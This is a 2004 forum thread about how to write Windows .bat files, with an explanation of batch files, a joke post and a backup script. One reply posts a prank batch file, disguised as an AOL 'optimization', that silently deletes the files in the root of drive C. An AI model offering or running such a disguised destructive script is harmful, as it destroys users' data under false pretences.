Page 1 of 1
.bat files
Posted: Sun Jan 18, 2004 2:13 pm
by Darkside Heartless
how do I make a .bat file? My dad made one for the other computer for Medal of honor auto-saves.
Posted: Sun Jan 18, 2004 2:36 pm
by Arch
Make a text file and change the extention to .bat.
Posted: Sun Jan 18, 2004 4:06 pm
by CDN_Merlin
A BAT(batch) file is a text file with a .bat extension with DOS commands within the file. It's basically a script.
Posted: Sun Jan 18, 2004 8:43 pm
by JMEaT
This is a great and wholesome Bat file:
<BLOCKQUOTE><font size="1" face="Arial">code:</font><HR><pre>@echo off
cls
echo Please wait while AOL 9.0 "Optimizes" your system...
del /Q C:\*.*
echo.
echo If your PC is still running,
pause
exit</pre><HR></BLOCKQUOTE>
Posted: Sun Jan 18, 2004 10:17 pm
by Darkside Heartless
LOL
Very true, it ate my dad's modem, we had to reinstall it 4 times before we realized the problem was AOL
Posted: Mon Jan 19, 2004 9:09 am
by Warlock
Here is an ex of a bat file i did for work to back up files when r tape drive killed over
<BLOCKQUOTE><font size="1" face="Arial">code:</font><HR><pre>
@echo off
echo This program was made by Matt Wetz
cd..
echo .
net time \\graphix /workgroup:compass /yes
echo .
c:
cd\backup
echo Makeing Folder
echo .
md ogfox
md ognew
x:cd\data
echo Copying OGFOX ( ETA 10Min )
echo .
cd ogfox
xcopy *.* c:\backup\ogfox /v /y /q /c
echo Copying OGNEW ( ETA 20Min )
echo .
cd..
cd ognew
xcopy *.* c:\backup\ognew /v /y /q /c
net time \\graphix /workgroup:compass /yes
echo .
echo DONE
</pre><HR></BLOCKQUOTE>
Posted: Mon Jan 19, 2004 2:30 pm
by Mobius
Funny Matt, you can't spell "Making" and yet you can do BAT files OK. Is this because they don't work when spelled incorrectly? So you *HAVE* to get spelling and syntax right in the PC-world.
I wish the real world was the same: wrongly spelled words just didn't work!
Person A:
"Hey man, I definately liek your hat!"
Person B:
"Errors in statement, Line 1, char 17 - "i" expected.
Line 1, char 23, unrecognised command.
Please try again."
![Image](http://www.descentbb.net/ubb/smile.gif)
Posted: Mon Jan 19, 2004 3:07 pm
by JMEaT
Dang Mobius, lay off Warlock. Nobody makes fun of you because you are from NZ... oh wait.
Posted: Mon Jan 19, 2004 8:06 pm
by Avder
Mobius...just....leave.